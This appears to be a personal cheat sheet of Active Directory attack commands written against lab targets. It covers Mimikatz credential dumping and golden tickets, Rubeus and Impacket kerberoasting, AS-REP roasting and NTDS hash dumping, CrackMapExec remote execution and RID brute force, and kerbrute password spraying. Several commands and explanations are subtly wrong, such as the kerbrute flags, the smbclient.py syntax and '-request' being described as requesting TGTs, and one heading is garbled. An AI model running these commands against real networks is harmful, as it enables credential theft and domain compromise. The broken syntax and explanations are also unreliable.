Active Directory Tools

PowerView

PowerView does not have built-in file output, but you can use PowerShell redirection to save results to a file.

Example Commands:

```
# List all domain users and output to users_output.txt
Get-NetUser | Out-File -FilePath users_output.txt
# Real command
Get-NetUser | Out-File -FilePath C:\Reports\users_output.txt

# List all computers in the domain and output to computers_output.txt
Get-NetComputer | Out-File -FilePath computers_output.txt
# Real command
Get-NetComputer | Out-File -FilePath C:\Reports\computers_output.txt

# Find users with SPNs and output to spns_output.txt
Get-NetUser -SPN | Out-File -FilePath spns_output.txt
# Real command
Get-NetUser -SPN | Out-File -FilePath C:\Reports\spns_output.txt

# Enumerate domain trusts and output to trusts_output.txt
Get-DomainTrust | Out-File -FilePath trusts_output.txt
# Real command
Get-DomainTrust | Out-File -FilePath C:\Reports\trusts_output.txt

# List all shares and permissions and output to shares_output.txt
Invoke-ShareFinder | Out-File -FilePath shares_output.txt
# Real command
Invoke-ShareFinder | Out-File -FilePath C:\Reports\shares_output.txt
```

Mimikatz

Mimikatz commands can be executed interactively, with output redirected to a file.

Example Commands:

```
# Start Mimikatz and dump credentials to a file
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >
credentials_output.txt

# Real command
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >
C:\Reports\credentials_output.txt

# Create a golden ticket and save the output
mimikatz.exe "kerberos::golden /user:Administrator
/rc4:112233445566778899aabbccddeeff00 /domain:example.com /sid:S-1-5-21-
3623811015-3361044348-30300820" "exit" > golden_ticket_output.txt

# Real command
mimikatz.exe "kerberos::golden /user:Administrator
/rc4:112233445566778899aabbccddeeff00 /domain:example.com /sid:S-1-5-21-
3623811015-3361044348-30300820" "exit" > C:\Reports\golden_ticket_output.txt
```

Rubeus

Rubeus allows output redirection to a file using standard command-line redirection.

Example Commands:

```
# Request TGT for a user and output to tgt_output.txt
Rubeus.exe tgt /user:john.doe /rc4:5e3e29d4e3c568e13cdd09d09c0c2c9d
/domain:example.com /dc:192.168.1.10 > tgt_output.txt

# Real command
Rubeus.exe tgt /user:john.doe /rc4:5e3e29d4e3c568e13cdd09d09c0c2c9d
/domain:example.com /dc:192.168.1.10 > C:\Reports\tgt_output.txt

# Perform Kerberoasting and save the results
Rubeus.exe kerberoast > kerberoast_output.txt

# Real command
```

```
Rubeus.exe kerberoast > C:\Reports\kerberoast_output.txt

# Dump all current Kerberos tickets and save to a file
Rubeus.exe dump > tickets_output.txt

# Real command
Rubeus.exe dump > C:\Reports\tickets_output.txt
```

Impacket

Impacket tools allow redirection of output to files using standard command-line syntax.
Example Commands:

```
# Dump NTDS.dit hashes and save to hashes_output.txt
python secretsdump.py example.com/admin@192.168.1.10 -hashes
1122334455667788:99aabbccddeeff00 > hashes_output.txt

# Real command
python secretsdump.py example.com/admin@192.168.1.10 -hashes
1122334455667788:99aabbccddeeff00 > C:\Reports\hashes_output.txt

# Get SPNs for a user and save the output
python GetUserSPNs.py example.com/admin@192.168.1.10 -hashes
1122334455667788:99aabbccddeeff00 > spns_output.txt

# Real command
python GetUserSPNs.py example.com/admin@192.168.1.10 -hashes
1122334455667788:99aabbccddeeff00 > C:\Reports\spns_output.txt

# Look up SIDs and output to a file
python lookupsid.py example.com/admin@192.168.1.10 -hashes
1122334455667788:99aabbccddeeff00 > sids_output.txt

# Real command
python lookupsid.py example.com/admin@192.168.1.10 -hashes
1122334455667788:99aabbccddeeff00 > C:\Reports\sids_output.txt

# Enumerate SMB shares and save the output
```

```
python smbclient.py 192.168.1.20 -username admin -password password123 --
shares > shares_output.txt

# Real command
python smbclient.py 192.168.1.20 -username admin -password password123 --
shares > C:\Reports\shares_output.txt
```

CrackMapExec (CME)

CrackMapExec (CME) also supports redirecting output to files.

Example Commands:

```
# List all shares on a network and save to shares_output.txt
cme smb 192.168.1.0/24 -u admin -p password123 --shares > shares_output.txt

# Real command
cme smb 192.168.1.0/24 -u admin -p password123 --shares >
C:\Reports\shares_output.txt

# Execute a command on a remote system and save the output
cme smb 192.168.1.10 -u admin -p password123 -x whoami > command_output.txt

# Real command
cme smb 192.168.1.10 -u admin -p password123 -x whoami >
C:\Reports\command_output.txt

# Dump NTLM hashes from a domain and save to hashes_output.txt
cme smb 192.168.1.0/24 -u admin -p password123 --ntlm > hashes_output.txt

# Real command
cme smb 192.168.1.0/24 -u admin -p password123 --ntlm >
C:\Reports\hashes_output.txt

# List all users in a domain and output to users_output.txt
cme smb 192.168.1.10 -u admin -p password123 --users > users_output.txt

# Real command
cme smb 192.168.1.10 -u admin -p password123 --users >
```

```
C:\Reports\users_output.txt

# List all groups in a domain and save to groups_output.txt
cme smb 192.168.1.10 -u admin -p password123 --groups > groups_output.txt

# Real command
cme smb 192.168.1.10 -u admin -p password123 --groups >
C:\Reports\groups_output.txt
```

Impacket `GetUserSPNs` Command

Command Syntax:

```
GetUserSPNs.py DOMAIN/USERNAME:PASSWORD -target-domain TARGET_DOMAIN -dc-ip
DC_IP -request -outputfile OUTPUT_FILE
```

Explanation:

- `DOMAIN/USERNAME:PASSWORD`: The domain credentials used for authentication.
- `-target-domain TARGET_DOMAIN`: The domain you are targeting.
- `-dc-ip DC_IP`: The IP address of the Domain Controller.
- `-request`: Requests the TGTs (Ticket Granting Tickets) for SPNs.
- `-outputfile OUTPUT_FILE`: Specifies the file where the output will be saved.

Real Command Example

Given your specific details:

```
GetUserSPNs.py LAB.ENTERPRISE.THM/nik:ToastyBoi! -target-domain
LAB.ENTERPRISE.THM -dc-ip 10.10.118.148 -request -outputfile
kerberoscrackable.txt
```

Explanation of the Example:

- `LAB.ENTERPRISE.THM/nik:ToastyBoi!`: Domain credentials (`nik` as username and `ToastyBoi!` as the password).
- `-target-domain LAB.ENTERPRISE.THM`: The domain being targeted.
- `-dc-ip 10.10.118.148`: The IP address of the Domain Controller.
- `-request`: Requests Kerberos tickets for SPNs.
- `-outputfile kerberoscrackable.txt`: The file where the results will be saved.

Usage:

1. **Open a Terminal or Command Prompt.**
2. **Run the Command** with the appropriate Impacket tool (`GetUserSPNs.py`) from the Impacket suite.

__##

The `GetNPUsers` script from the Impacket suite is used to retrieve Kerberos AS-REP responses for user accounts that do not require pre-authentication. These responses can be cracked offline to potentially reveal passwords.

Command Breakdown:

Command Syntax:

```
GetNPUsers.py DOMAIN/ -dc-ip DC_IP -usersfile USERS_FILE -format FORMAT -
outputfile OUTPUT_FILE -no-pass -request
```

Explanation:

- `DOMAIN/`: The domain you're targeting. In this case, the domain is specified without a specific username.
- `-dc-ip DC_IP`: The IP address of the Domain Controller.
- `-usersfile USERS_FILE`: A file containing a list of usernames to target.
- `-format FORMAT`: The output format, typically for a password-cracking tool like `john` (John the Ripper).

- `-outputfile OUTPUT_FILE`: The file where the retrieved AS-REP hashes will be saved.
- `-no-pass`: Indicates that no password is required for this operation.
- `-request`: Requests AS-REP responses for the specified users.

Real Command Example:

```
GetNPUsers.py the.corp/ -dc-ip 10.10.42.254 -usersfile users.txt -format
john -outputfile crackle.txt -no-pass -request
```

Explanation of the Example:

- `the.corp/`: The target domain (`the.corp` in this case).
- `-dc-ip 10.10.42.254`: The IP address of the Domain Controller.
- `-usersfile users.txt`: A file (`users.txt`) containing a list of usernames to check for accounts without Kerberos pre-authentication required.
- `-format john`: Specifies that the output should be formatted for `john` (John the Ripper) to crack the hashes.
- `-outputfile crackle.txt`: Saves the output (AS-REP hashes) in the file `crackle.txt`.
- `-no-pass`: No password is required for this operation.
- `-request`: Actually requests the AS-REP hashes for the accounts listed.

Usage:

1. **Prepare a `users.txt` file** with a list of usernames you want to target.
2. **Run the Command** in your terminal or command prompt where `impacket` tools are installed.

Expected Output:

The command will generate AS-REP responses for users that don't require pre-authentication. These responses will be saved in `crackle.txt` in a format that can be used directly with tools like John the Ripper to attempt password cracking.

For example, the content of `crackle.txt` might look something like this:

```
$krb5asrep$23$USERNAME@DOMAIN:HASH
```

This command will attempt to crack the Kerberos hashes using a wordlist.

The `crackmapexec` command you've provided is used to perform various actions related to SMB (Server Message Block) on a network, specifically targeting user enumeration and RID (Relative Identifier) brute forcing.

crackexamp command:

Command Syntax:

bash

```
crackmapexec smb DOMAIN -u USERNAME -p PASSWORD --rid-brute | grep SidTypeUser
```

Explanation:

- `crackmapexec smb`: This is the `crackmapexec` command for interacting with SMB services.
- `DOMAIN`: The domain or IP address of the target system.
- `-u USERNAME`: The username to use for authentication.
- `-p PASSWORD`: The password to use for authentication.
- `--rid-brute`: This option tells `crackmapexec` to perform a RID brute force attack to enumerate users.
- `| grep SidTypeUser`: This pipes the output to `grep` to filter lines containing `SidTypeUser`, which indicates user accounts.

Real Command Example:

bash

```
crackmapexec smb thm.corp -u 'guest' -p '' --rid-brute | grep SidTypeUser
```

Explanation of the Example:

- `thm.corp`: The domain or IP address of the target.
- `-u 'guest'`: The username (`guest` in this case).
- `-p ''`: An empty password for the `guest` account.
- `--rid-brute`: Performs RID brute force to find users.
- `| grep SidTypeUser`: Filters the results to show only user accounts.

Usage:

1. **Open a Terminal or Command Prompt.**
2. **Run the Command** with `crackmapexec` installed and configured.

Expected Output:

The command will list user accounts found through the RID brute force process, with `SidTypeUser` being part of the output indicating that the corresponding SIDs are of type user accounts. This helps in identifying active user accounts on the target system.

---

kerbrute Commands

1. Bruteforce Usernames

This command attempts to enumerate valid usernames from a provided list.

```
kerbrute userenum -d DOMAIN -dc DOMAIN_CONTROLLER_IP USERS_FILE
```

Example:

```
kerbrute userenum -d the.corp -dc 10.10.42.254 users.txt
```

- **`-d the.corp`**: Specifies the domain name.
- **`-dc 10.10.42.254`**: The IP address of the Domain Controller.

- `users.txt`: The file containing the list of usernames to enumerate.

2. Bruteforce Passwords for a Single User

This command attempts to brute-force passwords for a single user account.

```
kerbrute passwordspray -d DOMAIN -dc DOMAIN_CONTROLLER_IP -U USERNAME
PASSWORD_FILE
```

Example:

```
kerbrute passwordspray -d the.corp -dc 10.10.42.254 -U admin passwords.txt
```

- `-d the.corp`: Specifies the domain name.
- `-dc 10.10.42.254`: The IP address of the Domain Controller.
- `-U admin`: The username to brute-force.
- `passwords.txt`: The file containing the list of passwords to try.

3. Password Spray Attack

This command performs a password spray attack, trying one password against a list of usernames.

```
kerbrute passwordspray -d DOMAIN -dc DOMAIN_CONTROLLER_IP -P PASSWORD
USERS_FILE
```

Example:

```
kerbrute passwordspray -d the.corp -dc 10.10.42.254 -P "Password123"
users.txt
```

- `-d the.corp`: Specifies the domain name.
- `-dc 10.10.42.254`: The IP address of the Domain Controller.
- `-P "Password123"`: The single password to try against all usernames.
- `users.txt`: The file containing the list of usernames.

4. Validate a Single Username/Password Pair

This command validates if a single username/password pair is correct.

```
kerbrute bruteuser -d DOMAIN -dc DOMAIN_CONTROLLER_IP -U USERNAME
PASSWORD_FILE
```

Example:

```
kerbrute bruteuser -d the.corp -dc 10.10.42.254 -U admin passwords.txt
```

- `-d the.corp`: Specifies the domain name.
- `-dc 10.10.42.254`: The IP address of the Domain Controller.
- `-U admin`: The username to validate.
- `passwords.txt`: The file containing the list of passwords to validate against the username.

5. Use `stdin` for Passwords

Instead of a password file, you can pipe passwords directly using `stdin`.

```
cat passwords.txt | kerbrute passwordspray -d DOMAIN -dc
DOMAIN_CONTROLLER_IP -U USERNAME
```

Example:

```
cat passwords.txt | kerbrute passwordspray -d the.corp -dc 10.10.42.254 -U
admin
```

Summary of Commands

- `userenum`: Enumerate valid usernames.
- `passwordspray`: Perform a password spray attack or brute-force passwords for a single user.
- `bruteuser`: Validate a single username/password pair.
- `-d`: Domain name.
- `-dc`: Domain Controller IP address.

- `-U` : Single username.
- `-P` : Single password.
- `users.txt` **and** `passwords.txt` : Files containing usernames and passwords, respectively.

Ensure that `kerbrute` is correctly installed and that you have permission to run these commands in the target environment.